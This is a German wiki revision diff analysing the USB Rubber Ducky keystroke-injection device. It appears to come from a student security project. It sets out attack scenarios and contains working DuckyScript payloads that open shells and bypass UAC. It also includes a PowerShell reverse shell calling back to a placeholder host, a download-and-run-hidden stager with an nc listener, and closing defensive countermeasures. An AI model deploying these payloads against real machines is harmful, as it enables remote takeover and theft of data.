USB: Rubber Ducky: Difference between revisions

From
Jump to navigation Jump to search
No edit summary
No edit summary
Line 32: Line 32:
Um mittels Tastenkombinationen eine Shell zu starten muss zuerst einmal entschieden werden, an welches Betriebssystem auf dem Zielrechner läuft. Je nach Betriebssystem lässt sich eine Shell über unterschiedliche Tastenkombinationen ausführen. Während es im Windows-Environment in den meisten Fällen das Ziel ist eine cmd-Kommandozeile oder eine Powershell zu öffnen, sollte in Linux- sowie MacOS-Environments beispielsweise eine Terminal-Kommandozeile geöffnet werden. Im folgenden sind einige Lösungsansätze samt DuckyScript-Beispielen benannt.
Um mittels Tastenkombinationen eine Shell zu starten muss zuerst einmal entschieden werden, an welches Betriebssystem auf dem Zielrechner läuft. Je nach Betriebssystem lässt sich eine Shell über unterschiedliche Tastenkombinationen ausführen. Während es im Windows-Environment in den meisten Fällen das Ziel ist eine cmd-Kommandozeile oder eine Powershell zu öffnen, sollte in Linux- sowie MacOS-Environments beispielsweise eine Terminal-Kommandozeile geöffnet werden. Im folgenden sind einige Lösungsansätze samt DuckyScript-Beispielen benannt.


'''Lösungsansatz: Hotkeys'''
'''Lösungsansatz: Hotkeys'''<br>
Eine Möglichkeit wäre der Einsatz von Hotkeys, wobei jeweils eine bestimmte Taste auf einem Hardware-Keyboard für ein Script reserviert ist, welches der RubberDucky beim einstecken ausführt. Wollte der Angreifer diesen Ansatz verfolgen, so müsste er eine angepasste Firmware auf dem Microprozessor des Duckys installieren. Eine bereits existierende Variante wäre die DetourDuck-Firmware (RubberDucky flashen: https://github.com/hak5darren/USB-Rubber-Ducky/tree/master/ducky-flasher), mit der es möglich ist vor dem Einstecken des RubberDucky eine bestimmte Taste auf der Tastatur zu betätigen, auf welche der Ducky reagiert und ein bestimmtes von mehreren hinterlegten Skripten ausführt. Dieser Ansatz wäre jedoch nur in einem Szenario mit direktem Zugriff möglich.
DetourDuck<br>

Beispiel-Codes:<br>
inject1.bin<br>
<code>
<code>
'''REM open terminal on ubuntu-distros'''<br>
'''REM Code: open terminal on ubuntu-distros'''<br>
DELAY 500<br>
DELAY 500<br>
CTRL-ALT t<br>
CTRL-ALT t<br>
DELAY 50<br>
DELAY 50<br>
ENTER<br>
ENTER<br>
</code>


inject2.bin<br>
'''REM open terminal on mac'''<br>
<code>
'''REM Code: open terminal on mac'''<br>
DELAY 1000<br>
DELAY 1000<br>
GUI SPACE<br>
GUI SPACE<br>
Line 49: Line 55:
DELAY 500<br>
DELAY 500<br>
ENTER<br>
ENTER<br>
</code>


inject3.bin<br>
'''REM open cmd on windows'''<br>
<code>
'''REM Code: open cmd on windows'''<br>
DELAY 500<br>
DELAY 500<br>
CTRL ESC<br>
CTRL ESC<br>
Line 63: Line 72:
</code>
</code>


'''Lösungsansatz: Tastenkombinationen'''
'''Lösungsansatz: Tastenkombinationen'''<br>
Ein sehr naiver und fehleranfälliger Lösungsansatz, der jedoch nicht die Anwesenheit des Angreifers am Zielrechner voraussetzt, ist die sequentielle Abfolge von Tastenkombinationen über das DuckyScript, die in ihrere Gänze ausgeführt, auf jedem Betriebssystem ein Terminal öffnet. Obwohl das unten aufgeführte DuckyScript es schafft, nach einem kompletten Durchgang auf jedem Betriebssystem eine Shell zu öffnen ohne das weitere neue Fenster offen bleiben (teils werden Tasten ausgeführt die ungewollt geöffnete Fenster schließen), so gibt es doch einige Schwachstellen: Zum einen benötigt es etwas mehr Zeit um komplett ausgeführt zu werden. Außerdem öffnen sich wie bereits erwähnt kurzzeitig nicht erwünschte Fenster, die kurz sichtbar sind. Sollte das Opfer also selbst den RubberDucky einstecken und auf den Bildschirm schauen, so würde er neben dem kurzzeitigen öffnen einer Komandozeile noch einige weitere merkwürdiger Aktionen sehen, welche die Chance erhöhen, dass das Opfer die Sequenz durch eigene Aktionen erhöht. Mit den richtigen Delays, Timing und etwas Glück funktioniert dieser Ansatz durchaus, ohne dass der Angreifer anwesend sein muss und erfordert keinerlei Veränderungen der Firmware.
<br>
<code>
<code>
DELAY 10000<br>
DELAY 10000<br>
Line 95: Line 106:
</code>
</code>


'''Lösungsansatz: OS-Fingerprinting'''
'''Lösungsansatz: OS-Fingerprinting'''<br>
Ein weiterer Ansatz zur Erkennung von Betriebssystemen wäre die Detektion über den USB-Handshake des Kernels mit dem RubberDucky. So wäre es möglich eine Firmware für den Microcontroller zu schreiben, die den USB-Handshake aufzeichnet und mit bestimmten Parametern abgleicht, um so zu entscheiden, um welches Betriebssystem es sich handelt. Dazu wäre es nötig die Unterschiede in den Implementierungen des Handshakes und so des Verhaltens des Host Controller Drivers des jeweiligen Betriebssystemkernels zu ermitteln.<br>

Da wir zu diesem Thema nicht viele Informationen erhalten konnten und wir uns auf die Anwendungsmöglichkeiten der bestehenden Firmware-Versionen beschränken wollten, haben wir diesen Ansatz nicht weiter verfolgt.
Unterschiedliche Implementierungen des USB-Handshakes, Host Driver der Kernel vergleichen
Synchronization: Due to application-specific sampling rates, different hardware clock designs, scheduling policies in the operating system, or even physical anomalies, the host and isochronous device could fall out of synchronization. Therefore, special consideration is required to maintain synchronization. Isochronous endpoints specify one of three synchronization types.
Please note that USB, unlike other standards like VGA or PCI, is agnostic of the hardware interface to the system bus (and, by extension, to the operating system).
OperatingSystem-Kernel communicates with usb microcontroller through Host Controller Driver.
some security reserchers presented (or did they found such things in the wild?) attack scenarios with badusb devices that detect the host OS by some timing and protocoll uniquenesses to trigger slighly focused attacks.
While the OS itself never identifies any Information about the OS or host hardware, it does use a handshake to authenticate with the USB device. The sequence of this handshake is slightly different in every OS and has got some unique properties. = OS Fingerprinting


=== Problem: Schadscript ausführen ===
=== Problem: Schadscript ausführen ===


==== Lösungsansatz: Über DuckyScript ausführen ====
'''Lösungsansatz: Über DuckyScript ausführen'''<br>

Über DuckyScript direkt ausführen
Über DuckyScript direkt ausführen


==== Lösungsansatz: Zusätzlicher Mass-Storage ====
'''Lösungsansatz: Zusätzlicher Mass-Storage'''<br>
MassStorage als zweiten Deskriptor<br>
MassStorage als zweiten Deskriptor<br>
TwinDuck<br>
TwinDuck<br>
Windows Laufwerk dynamisch ermitteln:
Windows Laufwerk dynamisch ermitteln:<br>
STRING for /f "tokens=3 delims= " %A in ('echo list volume ^| diskpart ^| findstr "DUCKYDRIVE"') do (set DUCKYdrive=%A:)
STRING for /f "tokens=3 delims= " %A in ('echo list volume ^| diskpart ^| findstr "DUCKYDRIVE"') do (set DUCKYdrive=%A:)


==== Lösungsansatz: Aus Internet laden ====
'''Lösungsansatz: Aus Internet laden'''<br>
Script über das Internet nachladen
Script über das Internet nachladen


==== Lösungsansatz: Nutzer motivieren ====
'''Lösungsansatz: Nutzer motivieren'''<br>
Nutzer dazu bringen Script selbst auszuführen (root-Rechte erhalten)
Nutzer dazu bringen Script selbst auszuführen (root-Rechte erhalten)


=== Problem: Unauffällig bleiben ===
=== Problem: Unauffällig bleiben ===


==== Lösungsansatz: Shell per Keystrokes verstecken ====
'''Lösungsansatz: Shell per Keystrokes verstecken'''<br>
[..]
[..]


==== Lösungsansatz: Hidden Shell ====
'''Lösungsansatz: Hidden Shell'''<br>


<code>STRING powershell.exe -windowstyle hidden -File C:\Users\$env:UserName\payload.ps1</code
<code>STRING powershell.exe -windowstyle hidden -File C:\Users\$env:UserName\payload.ps1</code


==== Lösungsansatz: Kleine Delays verwenden ====
'''Lösungsansatz: Kleine Delays verwenden'''<br>
Beispiel: <code>DELAY 50</code>
Beispiel: <code>DELAY 50</code>


===Problem: Unterschiedliche Sicherheitsfeatures umgehen ===
===Problem: Unterschiedliche Sicherheitsfeatures umgehen ===


==== Lösungsansatz: IDS/Firewalls umgehen ====
'''Lösungsansatz: IDS/Firewalls umgehen'''<br>
keine Executables laden, Textfies lokal zu .exe files compilieren, über DNS-Tunnel leiten
keine Executables laden, Textfies lokal zu .exe files compilieren, über DNS-Tunnel leiten


==== Lösungsansatz: Privileg-Einschränkungen umgehen ====
'''Lösungsansatz: Privileg-Einschränkungen umgehen'''<br>
Firmware-Anpassung: zum öffnen des USB-Sticks Root-Pw angeben, ..<br>
Firmware-Anpassung: zum öffnen des USB-Sticks Root-Pw angeben, ..<br>
<code>'''REM UAC-Bypass:'''<br>
<code>'''REM UAC-Bypass:'''<br>
CTRL ESC<br>
CTRL ESC<br>
DELAY 100<br>
STRING cmd<br>
STRING cmd<br>
MENU<br>
DELAY 100<br>
ENTER<br>
CTRL-SHIFT ENTER<br>
DOWNARROW<br>
DELAY 100<br>
LEFTARROW<br>
LEFTARROW<br>
ENTER</code>
ENTER</code>

Revision as of 17:15, 14 October 2017

Grundlagen

[..]

Rubber Ducky ist ein Microcontroller (AMTEL 32bit) mit SD-Karte der aussieht wie ein USB-Stick und sich verhält wie eine Tastatur. So kann alles mit dem Gerät gemacht werden, was mit der Tastatur gemacht werden könnte.

Allg. Ablauf:

  1. SD-Karte einstecken
  2. Ducky-Script encoden (.jar oder Website toolkit) zu .bin
  3. Payload (.bin) auf SD-Karte ablegen
  4. USB-Stick in Opfer-Rechner stecken
  5. Payload führt sich automatisch aus

Angriffsszenarien

Zu Beginn unserer Analyse des RubberDucky haben wir uns überlegt, in welchen abstrakten Szenarien ein solches Keystroke-Injection-Tool zum Einsatz kommen kann. Da ein Angreifer, um den RubberDucky einsetzen zu können auf irgendeine Weise an den Zielrechner gelangen muss, sind wir zu zwei grundlegenden Angreiferszenarien gekommen, die im folgenden kurz beschrieben werden.

Direkter Zugang

In diesem Szenario erhält der Angreifer direkten Zugang zu dem Zielrechner. Wir gehen davon aus, dass er nur eine kurze Zeitspanne für den Zugriff hat. Entweder der RubberDucky wird an eine unscheinbare Stelle angeschlossen (z.B. am hinteren Teil des Rechners) oder er wird nur für eine kurze Zeitspanne angeschlossen und wieder abgesteckt. Das Opfer des Angriffs wiederum sollte in diesem Szenario keinerlei Veränderungen sehen, nachdem der Rechner durch den Ducky manipuliert wurde.
In diesem Szenario kann man davon ausgehen, dass der Angreifer entweder bereits vor dem Angriff Informationen über den Zielrechner hat oder während des Angriffs Informationen wie das Betriebssystem des Rechners berücksichtigen kann.

Indirekter Zugang

Dieses Szenario nutzt einen Social Engineering Ansatz, um die schadvollen Aktionen an einem Zielrechner auszuführen: Hier wird versucht den Nutzer dazu zu bringen, den RubberDucky selbst an den Zielrechner anzuschließen. Dabei kann der Angreifer das Opfer persönlich motivieren oder hoffen, dass das Opfer aus Neugierde das emulierte Keyboard an den Zielrechner anschließt. Das Opfer wird dabei erwarten, dass sich nach kurzer Wartezeit ein Fenster mit den Daten des vermeintlichen USB-Storage-Device öffnet. Alle weiteren visuellen Aktionen, die in der Zeit ausgeführt werden könnten den Nutzer misstrauisch machen und das Opfer könnte durch eigene Aktionen am Hardware-Keyboard das Ausführen von schadvollen Aktionen verhindern.
Wir gehen davon aus, dass der Angreifer in diesem Szenario weniger Informationen hat, als im zuvor beschriebenem. So hat er möglicherweise nicht einmal Wissen über Betriebssystem oder Art des Zielrechners.

Shell starten

Nachdem nun grundlegende Angreiferszenarien definiert wurden, ergeben sich bei der Ausführung schadvollen Codes mittels RubberDucky einige Anforderungen, die sich durch Mangel an Informationen über das Zielsystem und die Erwartungen des Opfers ergeben. Im nachfolgenden Punkt sind die identifizierten Probleme aufgeführt und jeweils praktische Lösungsansätze gelistet. Als Leitmotiv für die weitere Analyse haben wir das Ziel definiert, mittels RubberDucky eine Shell zu starten und eine Aktion auszuführen, gewissermaßen als Proof-of-Concept für das Gefahrenpotential des Keystroke-Injection-Tools.

Problem: Betriebssystem ermitteln

Um mittels Tastenkombinationen eine Shell zu starten muss zuerst einmal entschieden werden, an welches Betriebssystem auf dem Zielrechner läuft. Je nach Betriebssystem lässt sich eine Shell über unterschiedliche Tastenkombinationen ausführen. Während es im Windows-Environment in den meisten Fällen das Ziel ist eine cmd-Kommandozeile oder eine Powershell zu öffnen, sollte in Linux- sowie MacOS-Environments beispielsweise eine Terminal-Kommandozeile geöffnet werden. Im folgenden sind einige Lösungsansätze samt DuckyScript-Beispielen benannt.

Lösungsansatz: Hotkeys
Eine Möglichkeit wäre der Einsatz von Hotkeys, wobei jeweils eine bestimmte Taste auf einem Hardware-Keyboard für ein Script reserviert ist, welches der RubberDucky beim einstecken ausführt. Wollte der Angreifer diesen Ansatz verfolgen, so müsste er eine angepasste Firmware auf dem Microprozessor des Duckys installieren. Eine bereits existierende Variante wäre die DetourDuck-Firmware (RubberDucky flashen: https://github.com/hak5darren/USB-Rubber-Ducky/tree/master/ducky-flasher), mit der es möglich ist vor dem Einstecken des RubberDucky eine bestimmte Taste auf der Tastatur zu betätigen, auf welche der Ducky reagiert und ein bestimmtes von mehreren hinterlegten Skripten ausführt. Dieser Ansatz wäre jedoch nur in einem Szenario mit direktem Zugriff möglich.

Beispiel-Codes:
inject1.bin
REM Code: open terminal on ubuntu-distros
DELAY 500
CTRL-ALT t
DELAY 50
ENTER

inject2.bin
REM Code: open terminal on mac
DELAY 1000
GUI SPACE
DELAY 500
DELETE
STRING terminal
DELAY 500
ENTER

inject3.bin
REM Code: open cmd on windows
DELAY 500
CTRL ESC
DELAY 1000
STRING cmd
DELAY 2000
CTRL-SHIFT ENTER
DELAY 5000
LEFTARROW
DELAY 50
ENTER

Lösungsansatz: Tastenkombinationen
Ein sehr naiver und fehleranfälliger Lösungsansatz, der jedoch nicht die Anwesenheit des Angreifers am Zielrechner voraussetzt, ist die sequentielle Abfolge von Tastenkombinationen über das DuckyScript, die in ihrere Gänze ausgeführt, auf jedem Betriebssystem ein Terminal öffnet. Obwohl das unten aufgeführte DuckyScript es schafft, nach einem kompletten Durchgang auf jedem Betriebssystem eine Shell zu öffnen ohne das weitere neue Fenster offen bleiben (teils werden Tasten ausgeführt die ungewollt geöffnete Fenster schließen), so gibt es doch einige Schwachstellen: Zum einen benötigt es etwas mehr Zeit um komplett ausgeführt zu werden. Außerdem öffnen sich wie bereits erwähnt kurzzeitig nicht erwünschte Fenster, die kurz sichtbar sind. Sollte das Opfer also selbst den RubberDucky einstecken und auf den Bildschirm schauen, so würde er neben dem kurzzeitigen öffnen einer Komandozeile noch einige weitere merkwürdiger Aktionen sehen, welche die Chance erhöhen, dass das Opfer die Sequenz durch eigene Aktionen erhöht. Mit den richtigen Delays, Timing und etwas Glück funktioniert dieser Ansatz durchaus, ohne dass der Angreifer anwesend sein muss und erfordert keinerlei Veränderungen der Firmware.
DELAY 10000
REM open terminal on mac
DELAY 1000
GUI SPACE
DELAY 500
DELETE
STRING terminal
DELAY 500
ENTER
REM open terminal on ubuntu-distros
DELAY 500
REM ALT F2
CTRL-ALT t
DELAY 50
ENTER
REM open cmd on windows
DELAY 500
CTRL ESC
DELAY 1000
STRING cmd
DELAY 2000
CTRL-SHIFT ENTER
DELAY 5000
LEFTARROW
DELAY 50
ENTER
DELAY 5000
ESC

Lösungsansatz: OS-Fingerprinting
Ein weiterer Ansatz zur Erkennung von Betriebssystemen wäre die Detektion über den USB-Handshake des Kernels mit dem RubberDucky. So wäre es möglich eine Firmware für den Microcontroller zu schreiben, die den USB-Handshake aufzeichnet und mit bestimmten Parametern abgleicht, um so zu entscheiden, um welches Betriebssystem es sich handelt. Dazu wäre es nötig die Unterschiede in den Implementierungen des Handshakes und so des Verhaltens des Host Controller Drivers des jeweiligen Betriebssystemkernels zu ermitteln.
Da wir zu diesem Thema nicht viele Informationen erhalten konnten und wir uns auf die Anwendungsmöglichkeiten der bestehenden Firmware-Versionen beschränken wollten, haben wir diesen Ansatz nicht weiter verfolgt.

Problem: Schadscript ausführen

Lösungsansatz: Über DuckyScript ausführen

Über DuckyScript direkt ausführen

Lösungsansatz: Zusätzlicher Mass-Storage
MassStorage als zweiten Deskriptor
TwinDuck
Windows Laufwerk dynamisch ermitteln:
STRING for /f "tokens=3 delims= " %A in ('echo list volume ^| diskpart ^| findstr "DUCKYDRIVE"') do (set DUCKYdrive=%A:)

Lösungsansatz: Aus Internet laden
Script über das Internet nachladen

Lösungsansatz: Nutzer motivieren
Nutzer dazu bringen Script selbst auszuführen (root-Rechte erhalten)

Problem: Unauffällig bleiben

Lösungsansatz: Shell per Keystrokes verstecken
[..]

Lösungsansatz: Hidden Shell

STRING powershell.exe -windowstyle hidden -File C:\Users\$env:UserName\payload.ps1</code

Lösungsansatz: Kleine Delays verwenden
Beispiel: DELAY 50

Problem: Unterschiedliche Sicherheitsfeatures umgehen

Lösungsansatz: IDS/Firewalls umgehen
keine Executables laden, Textfies lokal zu .exe files compilieren, über DNS-Tunnel leiten

Lösungsansatz: Privileg-Einschränkungen umgehen
Firmware-Anpassung: zum öffnen des USB-Sticks Root-Pw angeben, ..
REM UAC-Bypass:
CTRL ESC
DELAY 100
STRING cmd
DELAY 100
CTRL-SHIFT ENTER
DELAY 100
LEFTARROW
ENTER


Anwendungsbeispiele

Ransomware

[..]

Reverse Shell

Resource-Server
sudo php -S 0.0.0.0:[Port x] -t ~/Schreibtisch/rubber_ducky/reverseShell/

Powershell-Script
$sm=(New-Object Net.Sockets.TCPClient("[HostIP]",[Port y])).GetStream();[byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)}

ReverseShell-Server
nc -l -p [Port y]

DuckyScript
REM Shell-Script von Server laden
STRING powershell
STRING $client = new-object Net.WebClient
STRING $client.DownloadFile(„http://[HostIP]:[port x]/payload.ps1“, “C:\Users\$env:UserName\payload.ps1“)
REM Script ausführen bzw. Shell starten
STRING set-executionpolicy remotesigned
STRING powershell.exe -windowstyle hidden -File C:\Users\$env:UserName\payload.ps1


Gegenmaßnahmen

Grundvulnerabilität schwer zu beheben, da in allg. Umgang mit HID-Geräten naive Umgangsweise: Annahme: Eingabegeräte werden von Nutzern bedient, dem Nutzer am Gerät wird vertraut. Es gibt keine Möglichkeit der Authentifizierung im USB-HID-Protokoll/-Handshake. HID-Geräte können einfach über den Device-Deskriptor emuliert werden.

Hardware-Maßnahmen

USB-Ports physisch schließen

[..]

USB-Firewall - USG

Schützt vor USB-Driver Exploits (= schädlicher Input an USB-Driver), Versteckter schädlicher Funktionalität (= verstecktes Gerät im Hintergrund zusätzlich angeschlossen oder Veränderung der USB-Deskriptor-Parameter um sich als neues Gerät auszugeben), schädlicher Funktionalität die direkt von Gerät ausgeführt wird (= HID-Gerät, dass sich unerwartet verhält (unterbindung durch Blockieren von Keystrokes die über bestimmte Geschwindigkeit ausgeführt werden))

Software-Maßnahmen

Beamgun

USB-Detection: FocusStealing(Bei neuem USB-Keysboard-Anschluss Fokus des Keyboards auf ein bestimmtes Fenster umleiten)/LockComputer(Zu Login-Screen springen, wenn neues USB-Keyboard angeschlossen wird)

USBKill

USB-Detection(Bei einer Änderung der USB-Schnittstellen wird der PC sofort heruntergefahren. (Whitelisting möglich)) => Shutdown

Duckhunt

Keystroke-Logging(Protokolliere die durchschnittliche Keystroke-Geschwindigkeit und blockiere den Keyboard-Input, wenn die Geschwindigkeit sich maßgeblich erhöht) => ..

Group Policies

Verbieten bestimmter HIDs mittels Group Policies

USB deaktivieren

Inaktive USB-Ports können über das OS deaktiviert werden


Ausblick

Bash Bunny